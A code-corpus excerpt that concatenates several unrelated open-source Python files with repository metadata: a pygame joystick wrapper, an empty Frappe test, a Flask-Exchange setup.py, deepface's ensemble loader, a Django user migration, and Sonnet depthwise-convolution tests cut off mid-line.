self.set_event("Y", *value)) L1 = property(lambda self: self.__getitem__("L1"), lambda self, value: self.set_event("L1", *value)) L2 = property(lambda self: self.__getitem__("L2"), lambda self, value: self.set_event("L2", *value)) L3 = property(lambda self: self.__getitem__("L3"), lambda self, value: self.set_event("L3", *value)) R1 = property(lambda self: self.__getitem__("R1"), lambda self, value: self.set_event("R1", *value)) R2 = property(lambda self: self.__getitem__("R2"), lambda self, value: self.set_event("R2", *value)) R3 = property(lambda self: self.__getitem__("R3"), lambda self, value: self.set_event("R3", *value)) SELECT = property(lambda self: self.__getitem__("SELECT"), lambda self, value: self.set_event("SELECT", *value)) START = property(lambda self: self.__getitem__("START"), lambda self, value: self.set_event("START", *value)) UP = property(lambda self: self.__getitem__("UP"), lambda self, value: self.set_event("UP", *value)) DOWN = property(lambda self: self.__getitem__("DOWN"), lambda self, value: self.set_event("DOWN", *value)) LEFT = property(lambda self: self.__getitem__("LEFT"), lambda self, value: self.set_event("LEFT", *value)) RIGHT = property(lambda self: self.__getitem__("RIGHT"), lambda self, value: self.set_event("RIGHT", *value)) AXIS_LEFT_X = property(lambda self: self.__getitem__("AXIS_LEFT_X"), lambda self, value: self.set_event("AXIS_LEFT_X", *value)) AXIS_LEFT_Y = property(lambda self: self.__getitem__("AXIS_LEFT_Y"), lambda self, value: self.set_event("AXIS_LEFT_Y", *value)) AXIS_RIGHT_X = property(lambda self: self.__getitem__("AXIS_RIGHT_X"), lambda self, value: self.set_event("AXIS_RIGHT_X", *value)) AXIS_RIGHT_Y = property(lambda self: self.__getitem__("AXIS_RIGHT_Y"), lambda self, value: self.set_event("AXIS_RIGHT_Y", *value)) class JoystickList(object): __slots__ = ("__list",) def __init__(self): self.__list = list() def set(self, nb_joystick: int) -> None: self.__list = [Joystick(i) for i in range(nb_joystick)] def __iter__(self) -> Iterator[Joystick]: return iter(self.__list) def __bool__(self) -> bool: return bool(self.__list) def __getitem__(self, index: int) -> Union[Joystick, None]: return self.get_joy_by_device_index(index) def get_joy_by_device_index(self, index: int) -> Union[Joystick, None]: for joy in self: if joy.device_index == index: return joy return None def get_joy_by_instance_id(self, instance_id: int) -> Union[Joystick, None]: for joy in self: if joy.id == instance_id: return joy return None def event_connect(self, event: pygame.event.Event) -> None: if event.type in (pygame.CONTROLLERDEVICEADDED, pygame.JOYDEVICEADDED): joystick = self.get_joy_by_device_index(event.device_index) if joystick is not None: joystick.event_connect(event) def event_disconnect(self, event: pygame.event.Event) -> None: if event.type in (pygame.CONTROLLERDEVICEREMOVED, pygame.JOYDEVICEREMOVED): joystick = self.get_joy_by_instance_id(event.instance_id) if joystick is not None: joystick.event_disconnect(event)

true

1c421365662f9c384e027d6403a99b7bfe2c0777

152

py

Python

slnee_quality/slnee_quality/doctype/request/test_request.py

erpcloudsystems/slnee_quality

ad81f029a795ee073768c7c933cd91e61b6df059

[ "MIT" ]

null

slnee_quality/slnee_quality/doctype/request/test_request.py

erpcloudsystems/slnee_quality

ad81f029a795ee073768c7c933cd91e61b6df059

[ "MIT" ]

null

slnee_quality/slnee_quality/doctype/request/test_request.py

erpcloudsystems/slnee_quality

ad81f029a795ee073768c7c933cd91e61b6df059

[ "MIT" ]

null

16.888889

55

0.782895

import unittest class TestRequest(unittest.TestCase): pass

true

1c42146f0e6735ced4e1a4fbe2550582ad5298af

4,187

py

Python

setup.py

jscurtu/flask-exchange

a2dddb3e03c14c488a90ee63df4858d832d4e841

[ "MIT" ]

null

setup.py

jscurtu/flask-exchange

a2dddb3e03c14c488a90ee63df4858d832d4e841

[ "MIT" ]

null

setup.py

jscurtu/flask-exchange

a2dddb3e03c14c488a90ee63df4858d832d4e841

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # Note: To use the 'upload' functionality of this file, you must: # $ pip install twine import io import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command # Package meta-data. NAME = 'Flask-Exchange' DESCRIPTION = 'Exchange support for Flask using ExchangeLib.' URL = 'https://github.com/jscurtu/flask-exchange' EMAIL = 'jscurtu@gmail.com' AUTHOR = 'Jason Scurtu' REQUIRES_PYTHON = '>=3.6.0' VERSION = '0.0.2' # What packages are required for this module to be executed? REQUIRED = [ 'flask>=0.10.1', 'exchangelib>=1.12.0', 'urllib3' ] # What packages are optional? EXTRAS = { # 'fancy feature': ['django'], } # The rest you shouldn't have to touch too much :) # ------------------------------------------------ # Except, perhaps the License and Trove Classifiers! # If you do change the License, remember to change the Trove Classifier for that! here = os.path.abspath(os.path.dirname(__file__)) # Import the README and use it as the long-description. # Note: this will only work if 'README.md' is present in your MANIFEST.in file! try: with io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f: long_description = '\n' + f.read() except FileNotFoundError: long_description = DESCRIPTION # Load the package's __version__.py module as a dictionary. about = {} if not VERSION: with open(os.path.join(here, NAME, '__version__.py')) as f: exec(f.read(), about) else: about['__version__'] = VERSION class UploadCommand(Command): """Support setup.py upload.""" description = 'Build and publish the package.' user_options = [] @staticmethod def status(s): """Prints things in bold.""" print('\033[1m{0}\033[0m'.format(s)) def initialize_options(self): pass def finalize_options(self): pass def run(self): try: self.status('Removing previous builds…') rmtree(os.path.join(here, 'dist')) except OSError: pass self.status('Building Source and Wheel (universal) distribution…') os.system('{0} setup.py sdist bdist_wheel --universal'.format(sys.executable)) self.status('Uploading the package to PyPI via Twine…') os.system('twine upload dist/*') self.status('Pushing git tags…') os.system('git tag v{0}'.format(about['__version__'])) os.system('git push --tags') sys.exit() # Where the magic happens: setup( name=NAME, version=about['__version__'], description=DESCRIPTION, long_description=long_description, long_description_content_type='text/markdown', author=AUTHOR, author_email=EMAIL, python_requires=REQUIRES_PYTHON, url=URL, packages=find_packages(exclude=('tests', 'examples')), # If your package is a single module, use this instead of 'packages': # py_modules=['mypackage'], # entry_points={ # 'console_scripts': ['mycli=mymodule:cli'], # }, install_requires=REQUIRED, extras_require=EXTRAS, include_package_data=True, license='MIT', classifiers=[ # Trove classifiers # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers 'Framework :: Flask', 'Topic :: Office/Business :: Groupware', 'License :: OSI Approved :: MIT License', 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy' ], # $ setup.py publish support. cmdclass={ 'upload': UploadCommand, }, )

29.695035

86

0.633389

import io import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command NAME = 'Flask-Exchange' DESCRIPTION = 'Exchange support for Flask using ExchangeLib.' URL = 'https://github.com/jscurtu/flask-exchange' EMAIL = 'jscurtu@gmail.com' AUTHOR = 'Jason Scurtu' REQUIRES_PYTHON = '>=3.6.0' VERSION = '0.0.2' REQUIRED = [ 'flask>=0.10.1', 'exchangelib>=1.12.0', 'urllib3' ] EXTRAS = { } # ------------------------------------------------ # Except, perhaps the License and Trove Classifiers! # If you do change the License, remember to change the Trove Classifier for that! here = os.path.abspath(os.path.dirname(__file__)) # Import the README and use it as the long-description. # Note: this will only work if 'README.md' is present in your MANIFEST.in file! try: with io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f: long_description = '\n' + f.read() except FileNotFoundError: long_description = DESCRIPTION # Load the package's __version__.py module as a dictionary. about = {} if not VERSION: with open(os.path.join(here, NAME, '__version__.py')) as f: exec(f.read(), about) else: about['__version__'] = VERSION class UploadCommand(Command): description = 'Build and publish the package.' user_options = [] @staticmethod def status(s): print('\033[1m{0}\033[0m'.format(s)) def initialize_options(self): pass def finalize_options(self): pass def run(self): try: self.status('Removing previous builds…') rmtree(os.path.join(here, 'dist')) except OSError: pass self.status('Building Source and Wheel (universal) distribution…') os.system('{0} setup.py sdist bdist_wheel --universal'.format(sys.executable)) self.status('Uploading the package to PyPI via Twine…') os.system('twine upload dist/*') self.status('Pushing git tags…') os.system('git tag v{0}'.format(about['__version__'])) os.system('git push --tags') sys.exit() setup( name=NAME, version=about['__version__'], description=DESCRIPTION, long_description=long_description, long_description_content_type='text/markdown', author=AUTHOR, author_email=EMAIL, python_requires=REQUIRES_PYTHON, url=URL, packages=find_packages(exclude=('tests', 'examples')), install_requires=REQUIRED, extras_require=EXTRAS, include_package_data=True, license='MIT', classifiers=[ 'Framework :: Flask', 'Topic :: Office/Business :: Groupware', 'License :: OSI Approved :: MIT License', 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Natural Language :: English', 'Operating System :: OS Independent', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy' ], cmdclass={ 'upload': UploadCommand, }, )

true

1c4214d2e36cfc42beb2859a091fcdd9139c8678

2,019

py

Python

deepface/basemodels/Boosting.py

olive380/deepface

630e8e72f591eee63c724cb8cbcbbc66712f93fc

[ "MIT" ]

2

2021-03-24T07:06:56.000Z

2021-04-09T15:08:13.000Z

deepface/basemodels/Boosting.py

olive380/deepface

630e8e72f591eee63c724cb8cbcbbc66712f93fc

[ "MIT" ]

null

deepface/basemodels/Boosting.py

olive380/deepface

630e8e72f591eee63c724cb8cbcbbc66712f93fc

[ "MIT" ]

2

2021-04-09T15:09:27.000Z

2021-08-06T17:57:03.000Z

from deepface import DeepFace from tqdm import tqdm import os from os import path from pathlib import Path import numpy as np import gdown from deepface.commons import functions, distance as dst def loadModel(): model_names = ['VGG-Face', 'Facenet', 'OpenFace', 'DeepFace'] model = {} model_pbar = tqdm(range(0, 4), desc='Face recognition models') for index in model_pbar: model_name = model_names[index] model_pbar.set_description("Loading %s" % (model_name)) model[model_name] = DeepFace.build_model(model_name) return model def validate_model(model): #validate model dictionary because it might be passed from input as pre-trained found_models = [] for key, value in model.items(): found_models.append(key) if ('VGG-Face' in found_models) and ('Facenet' in found_models) and ('OpenFace' in found_models) and ('DeepFace' in found_models): #print("Ensemble learning will be applied for ", found_models," models") valid = True else: missing_ones = set(['VGG-Face', 'Facenet', 'OpenFace', 'DeepFace']) - set(found_models) raise ValueError("You'd like to apply ensemble method and pass pre-built models but models must contain [VGG-Face, Facenet, OpenFace, DeepFace] but you passed "+str(found_models)+". So, you need to pass "+str(missing_ones)+" models as well.") def build_gbm(): #this is not a must dependency import lightgbm as lgb #lightgbm==2.3.1 home = str(Path.home()) if os.path.isfile(home+'/.deepface/weights/face-recognition-ensemble-model.txt') != True: print("face-recognition-ensemble-model.txt will be downloaded...") url = 'https://raw.githubusercontent.com/serengil/deepface/master/deepface/models/face-recognition-ensemble-model.txt' output = home+'/.deepface/weights/face-recognition-ensemble-model.txt' gdown.download(url, output, quiet=False) ensemble_model_path = home+'/.deepface/weights/face-recognition-ensemble-model.txt' deepface_ensemble = lgb.Booster(model_file = ensemble_model_path) return deepface_ensemble

33.65

244

0.741951

from deepface import DeepFace from tqdm import tqdm import os from os import path from pathlib import Path import numpy as np import gdown from deepface.commons import functions, distance as dst def loadModel(): model_names = ['VGG-Face', 'Facenet', 'OpenFace', 'DeepFace'] model = {} model_pbar = tqdm(range(0, 4), desc='Face recognition models') for index in model_pbar: model_name = model_names[index] model_pbar.set_description("Loading %s" % (model_name)) model[model_name] = DeepFace.build_model(model_name) return model def validate_model(model): found_models = [] for key, value in model.items(): found_models.append(key) if ('VGG-Face' in found_models) and ('Facenet' in found_models) and ('OpenFace' in found_models) and ('DeepFace' in found_models): valid = True else: missing_ones = set(['VGG-Face', 'Facenet', 'OpenFace', 'DeepFace']) - set(found_models) raise ValueError("You'd like to apply ensemble method and pass pre-built models but models must contain [VGG-Face, Facenet, OpenFace, DeepFace] but you passed "+str(found_models)+". So, you need to pass "+str(missing_ones)+" models as well.") def build_gbm(): #this is not a must dependency import lightgbm as lgb #lightgbm==2.3.1 home = str(Path.home()) if os.path.isfile(home+'/.deepface/weights/face-recognition-ensemble-model.txt') != True: print("face-recognition-ensemble-model.txt will be downloaded...") url = 'https://raw.githubusercontent.com/serengil/deepface/master/deepface/models/face-recognition-ensemble-model.txt' output = home+'/.deepface/weights/face-recognition-ensemble-model.txt' gdown.download(url, output, quiet=False) ensemble_model_path = home+'/.deepface/weights/face-recognition-ensemble-model.txt' deepface_ensemble = lgb.Booster(model_file = ensemble_model_path) return deepface_ensemble

true

1c4214ef8c07af7c6afe258f74e0b3e443f397d4

2,278

py

Python

accounts/migrations/0001_initial.py

bilesanmiahmad/weight-tracker

6badd70d0b1005fb96ec354dece3e2e5f3f016e3

[ "MIT" ]

null

accounts/migrations/0001_initial.py

bilesanmiahmad/weight-tracker

6badd70d0b1005fb96ec354dece3e2e5f3f016e3

[ "MIT" ]

null

accounts/migrations/0001_initial.py

bilesanmiahmad/weight-tracker

6badd70d0b1005fb96ec354dece3e2e5f3f016e3

[ "MIT" ]

null

# Generated by Django 2.0.6 on 2018-06-18 10:33 import accounts.models from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('email', models.EmailField(max_length=255, unique=True, verbose_name='email address')), ('first_name', models.CharField(max_length=70, verbose_name='first name')), ('last_name', models.CharField(max_length=70, verbose_name='last name')), ('avatar', models.ImageField(blank=True, null=True, upload_to='users/avatars/')), ('date_joined', models.DateTimeField(auto_now_add=True, verbose_name='date joined')), ('is_active', models.BooleanField(default=True, verbose_name='active')), ('is_staff', models.BooleanField(default=False, verbose_name='staff')), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', }, managers=[ ('objects', accounts.models.NewManager()), ], ), ]

54.238095

266

0.634767

import accounts.models from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0009_alter_user_last_name_max_length'), ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('password', models.CharField(max_length=128, verbose_name='password')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')), ('email', models.EmailField(max_length=255, unique=True, verbose_name='email address')), ('first_name', models.CharField(max_length=70, verbose_name='first name')), ('last_name', models.CharField(max_length=70, verbose_name='last name')), ('avatar', models.ImageField(blank=True, null=True, upload_to='users/avatars/')), ('date_joined', models.DateTimeField(auto_now_add=True, verbose_name='date joined')), ('is_active', models.BooleanField(default=True, verbose_name='active')), ('is_staff', models.BooleanField(default=False, verbose_name='staff')), ('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')), ('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', }, managers=[ ('objects', accounts.models.NewManager()), ], ), ]

true

1c4215e580012b8cf3f0bf5efeb4374d96ab1b0d

8,357

py

Python

sonnet/src/depthwise_conv_test.py

ScriptBox99/deepmind-sonnet

5cbfdc356962d9b6198d5b63f0826a80acfdf35b

[ "Apache-2.0" ]

10,287

2017-04-07T12:33:37.000Z

2022-03-30T03:32:16.000Z

sonnet/src/depthwise_conv_test.py

ScriptBox99/deepmind-sonnet

5cbfdc356962d9b6198d5b63f0826a80acfdf35b

[ "Apache-2.0" ]

209

2017-04-07T15:57:11.000Z

2022-03-27T10:43:03.000Z

sonnet/src/depthwise_conv_test.py

ScriptBox99/deepmind-sonnet

5cbfdc356962d9b6198d5b63f0826a80acfdf35b

[ "Apache-2.0" ]

1,563

2017-04-07T13:15:06.000Z

2022-03-29T15:26:04.000Z

# Copyright 2019 The Sonnet Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """Tests for sonnet.v2.src.depthwise_conv.""" from absl.testing import parameterized import numpy as np from sonnet.src import depthwise_conv from sonnet.src import initializers from sonnet.src import test_utils import tensorflow as tf def create_constant_initializers(w, b, with_bias): if with_bias: return { "w_init": initializers.Constant(w), "b_init": initializers.Constant(b) } else: return {"w_init": initializers.Constant(w)} class DepthwiseConvTest(test_utils.TestCase, parameterized.TestCase): def testInitializerKeysInvalidWithoutBias(self): with self.assertRaisesRegex(ValueError, "b_init must be None"): depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC", with_bias=False, b_init=tf.zeros_initializer()) @parameterized.parameters(tf.float32, tf.float64) def testDefaultInitializers(self, dtype): if "TPU" in self.device_types and dtype == tf.float64: self.skipTest("Double precision not supported on TPU.") conv1 = depthwise_conv.DepthwiseConv2D( kernel_shape=16, stride=1, padding="VALID", data_format="NHWC") out = conv1(tf.random.normal([8, 64, 64, 1], dtype=dtype)) self.assertAllEqual(out.shape, [8, 49, 49, 1]) self.assertEqual(out.dtype, dtype) # Note that for unit variance inputs the output is below unit variance # because of the use of the truncated normal initalizer err = 0.2 if self.primary_device == "TPU" else 0.1 self.assertNear(out.numpy().std(), 0.87, err=err) @parameterized.named_parameters(("SamePaddingUseBias", True, "SAME"), ("SamePaddingNoBias", False, "SAME"), ("ValidPaddingNoBias", False, "VALID"), ("ValidPaddingUseBias", True, "VALID")) def testFunction(self, with_bias, padding): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, stride=1, padding=padding, with_bias=with_bias, data_format="NHWC", **create_constant_initializers(1.0, 1.0, with_bias)) conv2 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, stride=1, padding=padding, with_bias=with_bias, data_format="NHWC", **create_constant_initializers(1.0, 1.0, with_bias)) defun_conv = tf.function(conv2) iterations = 5 for _ in range(iterations): x = tf.random.uniform([1, 5, 5, 1]) y1 = conv1(x) y2 = defun_conv(x) self.assertAllClose(self.evaluate(y1), self.evaluate(y2), atol=1e-4) def testUnknownBatchSizeNHWC(self): x = tf.TensorSpec([None, 5, 5, 3], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c).get_concrete_function(x) out1 = defun_conv(tf.ones([3, 5, 5, 3])) self.assertEqual(out1.shape, [3, 5, 5, 3]) out2 = defun_conv(tf.ones([5, 5, 5, 3])) self.assertEqual(out2.shape, [5, 5, 5, 3]) def testUnknownBatchSizeNCHW(self): if self.primary_device == "CPU": self.skipTest("NCHW not supported on CPU") x = tf.TensorSpec([None, 3, 5, 5], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NCHW") defun_conv = tf.function(c).get_concrete_function(x) out1 = defun_conv(tf.ones([3, 3, 5, 5])) self.assertEqual(out1.shape, [3, 3, 5, 5]) out2 = defun_conv(tf.ones([5, 3, 5, 5])) self.assertEqual(out2.shape, [5, 3, 5, 5]) def testUnknownSpatialDims(self): x = tf.TensorSpec([3, None, None, 3], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c).get_concrete_function(x) out = defun_conv(tf.ones([3, 5, 5, 3])) expected_out = c(tf.ones([3, 5, 5, 3])) self.assertEqual(out.shape, [3, 5, 5, 3]) self.assertAllEqual(self.evaluate(out), self.evaluate(expected_out)) out = defun_conv(tf.ones([3, 4, 4, 3])) expected_out = c(tf.ones([3, 4, 4, 3])) self.assertEqual(out.shape, [3, 4, 4, 3]) self.assertAllEqual(self.evaluate(out), self.evaluate(expected_out)) @parameterized.parameters(True, False) def testUnknownChannels(self, autograph): x = tf.TensorSpec([3, 3, 3, None], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c, autograph=autograph) with self.assertRaisesRegex(ValueError, "The number of input channels must be known"): defun_conv.get_concrete_function(x) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationSame(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="SAME", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 1])) expected_out = np.array([[5, 7, 7, 7, 5], [7, 10, 10, 10, 7], [7, 10, 10, 10, 7], [7, 10, 10, 10, 7], [5, 7, 7, 7, 5]]) if not with_bias: expected_out -= 1 self.assertEqual(out.shape, [1, 5, 5, 1]) self.assertAllClose(np.reshape(out.numpy(), [5, 5]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationValid(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="VALID", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 1])) expected_out = np.array([[10, 10, 10], [10, 10, 10], [10, 10, 10]]) if not with_bias: expected_out -= 1 self.assertEqual(out.shape, [1, 3, 3, 1]) self.assertAllClose(np.reshape(out.numpy(), [3, 3]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationValidMultiChannel(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="VALID", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 3])) expected_out = np.array([[[10] * 3] * 3] * 3) if not with_bias: expected_out -= 1 self.assertAllClose(np.reshape(out.numpy(), [3, 3, 3]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testSharing(self, with_bias): """Sharing is working.""" conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=3, kernel_shape=3, stride=1, padding="SAME", with_bias=with_bias) x = np.random.randn(1, 5, 5, 1) x1 = tf.constant(x, dtype=np.float32) x2 = tf.constant(x, dtype=np.float32) self.assertAllClose(conv1(x1), conv1(x2)) # Kernel shape was set to 3, which is expandeded to [3, 3, 3]. # Input channels are 1, output channels := in_channels * multiplier. # multiplier is kernel_shape[2] == 3. So weight layout must be: # (3, 3, 1, 3). w = np.random.randn(3, 3, 1, 3) # Now change the weights. conv1.w.assign(w) self.assertAllClose(conv1(x1), conv1(x2)) if __name__ == "__main__": tf.test.main()

35.411017

78

0.642216

from absl.testing import parameterized import numpy as np from sonnet.src import depthwise_conv from sonnet.src import initializers from sonnet.src import test_utils import tensorflow as tf def create_constant_initializers(w, b, with_bias): if with_bias: return { "w_init": initializers.Constant(w), "b_init": initializers.Constant(b) } else: return {"w_init": initializers.Constant(w)} class DepthwiseConvTest(test_utils.TestCase, parameterized.TestCase): def testInitializerKeysInvalidWithoutBias(self): with self.assertRaisesRegex(ValueError, "b_init must be None"): depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC", with_bias=False, b_init=tf.zeros_initializer()) @parameterized.parameters(tf.float32, tf.float64) def testDefaultInitializers(self, dtype): if "TPU" in self.device_types and dtype == tf.float64: self.skipTest("Double precision not supported on TPU.") conv1 = depthwise_conv.DepthwiseConv2D( kernel_shape=16, stride=1, padding="VALID", data_format="NHWC") out = conv1(tf.random.normal([8, 64, 64, 1], dtype=dtype)) self.assertAllEqual(out.shape, [8, 49, 49, 1]) self.assertEqual(out.dtype, dtype) err = 0.2 if self.primary_device == "TPU" else 0.1 self.assertNear(out.numpy().std(), 0.87, err=err) @parameterized.named_parameters(("SamePaddingUseBias", True, "SAME"), ("SamePaddingNoBias", False, "SAME"), ("ValidPaddingNoBias", False, "VALID"), ("ValidPaddingUseBias", True, "VALID")) def testFunction(self, with_bias, padding): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, stride=1, padding=padding, with_bias=with_bias, data_format="NHWC", **create_constant_initializers(1.0, 1.0, with_bias)) conv2 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, stride=1, padding=padding, with_bias=with_bias, data_format="NHWC", **create_constant_initializers(1.0, 1.0, with_bias)) defun_conv = tf.function(conv2) iterations = 5 for _ in range(iterations): x = tf.random.uniform([1, 5, 5, 1]) y1 = conv1(x) y2 = defun_conv(x) self.assertAllClose(self.evaluate(y1), self.evaluate(y2), atol=1e-4) def testUnknownBatchSizeNHWC(self): x = tf.TensorSpec([None, 5, 5, 3], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c).get_concrete_function(x) out1 = defun_conv(tf.ones([3, 5, 5, 3])) self.assertEqual(out1.shape, [3, 5, 5, 3]) out2 = defun_conv(tf.ones([5, 5, 5, 3])) self.assertEqual(out2.shape, [5, 5, 5, 3]) def testUnknownBatchSizeNCHW(self): if self.primary_device == "CPU": self.skipTest("NCHW not supported on CPU") x = tf.TensorSpec([None, 3, 5, 5], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NCHW") defun_conv = tf.function(c).get_concrete_function(x) out1 = defun_conv(tf.ones([3, 3, 5, 5])) self.assertEqual(out1.shape, [3, 3, 5, 5]) out2 = defun_conv(tf.ones([5, 3, 5, 5])) self.assertEqual(out2.shape, [5, 3, 5, 5]) def testUnknownSpatialDims(self): x = tf.TensorSpec([3, None, None, 3], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c).get_concrete_function(x) out = defun_conv(tf.ones([3, 5, 5, 3])) expected_out = c(tf.ones([3, 5, 5, 3])) self.assertEqual(out.shape, [3, 5, 5, 3]) self.assertAllEqual(self.evaluate(out), self.evaluate(expected_out)) out = defun_conv(tf.ones([3, 4, 4, 3])) expected_out = c(tf.ones([3, 4, 4, 3])) self.assertEqual(out.shape, [3, 4, 4, 3]) self.assertAllEqual(self.evaluate(out), self.evaluate(expected_out)) @parameterized.parameters(True, False) def testUnknownChannels(self, autograph): x = tf.TensorSpec([3, 3, 3, None], dtype=tf.float32) c = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=3, data_format="NHWC") defun_conv = tf.function(c, autograph=autograph) with self.assertRaisesRegex(ValueError, "The number of input channels must be known"): defun_conv.get_concrete_function(x) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationSame(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="SAME", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 1])) expected_out = np.array([[5, 7, 7, 7, 5], [7, 10, 10, 10, 7], [7, 10, 10, 10, 7], [7, 10, 10, 10, 7], [5, 7, 7, 7, 5]]) if not with_bias: expected_out -= 1 self.assertEqual(out.shape, [1, 5, 5, 1]) self.assertAllClose(np.reshape(out.numpy(), [5, 5]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationValid(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="VALID", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 1])) expected_out = np.array([[10, 10, 10], [10, 10, 10], [10, 10, 10]]) if not with_bias: expected_out -= 1 self.assertEqual(out.shape, [1, 3, 3, 1]) self.assertAllClose(np.reshape(out.numpy(), [3, 3]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testComputationValidMultiChannel(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=1, kernel_shape=[3, 3], stride=1, padding="VALID", with_bias=with_bias, **create_constant_initializers(1.0, 1.0, with_bias)) out = conv1(tf.ones([1, 5, 5, 3])) expected_out = np.array([[[10] * 3] * 3] * 3) if not with_bias: expected_out -= 1 self.assertAllClose(np.reshape(out.numpy(), [3, 3, 3]), expected_out) @parameterized.named_parameters(("WithBias", True), ("WithoutBias", False)) def testSharing(self, with_bias): conv1 = depthwise_conv.DepthwiseConv2D( channel_multiplier=3, kernel_shape=3, stride=1, padding="SAME", with_bias=with_bias) x = np.random.randn(1, 5, 5, 1) x1 = 